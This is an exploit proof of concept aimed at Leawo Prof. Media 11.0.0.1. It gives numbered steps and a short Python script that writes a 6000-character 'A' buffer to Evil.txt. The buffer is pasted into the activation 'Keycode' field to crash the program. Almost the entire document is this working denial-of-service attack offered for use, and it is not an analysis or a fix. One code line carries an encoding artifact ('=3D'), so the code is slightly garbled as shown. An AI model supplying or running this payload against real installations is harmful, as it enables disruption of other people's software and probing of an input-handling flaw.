# Exploit Title: Leawo Prof. Media 11.0.0.1 - Denial of Service (DoS) (PoC) # Date: 25.07.2021 # Vendor Homepage:https://www.leawo.org # Software Link: https://www.leawo.org/downloads/total-media-converter-ultimate.html # Exploit Author: Achilles # Tested Version: 11.0.0.1 # Tested on: Windows 7 x64 # 1.- Run python code : # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open Leawo Prof. Media # 4.- Click Activation Center # 5.- Paste the content of EVIL.txt into the Field: 'Keycode' # 6.- Click 'Register' and you will see a crash. #!/usr/bin/env python buffer =3D "\x41" * 6000 try: f = open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"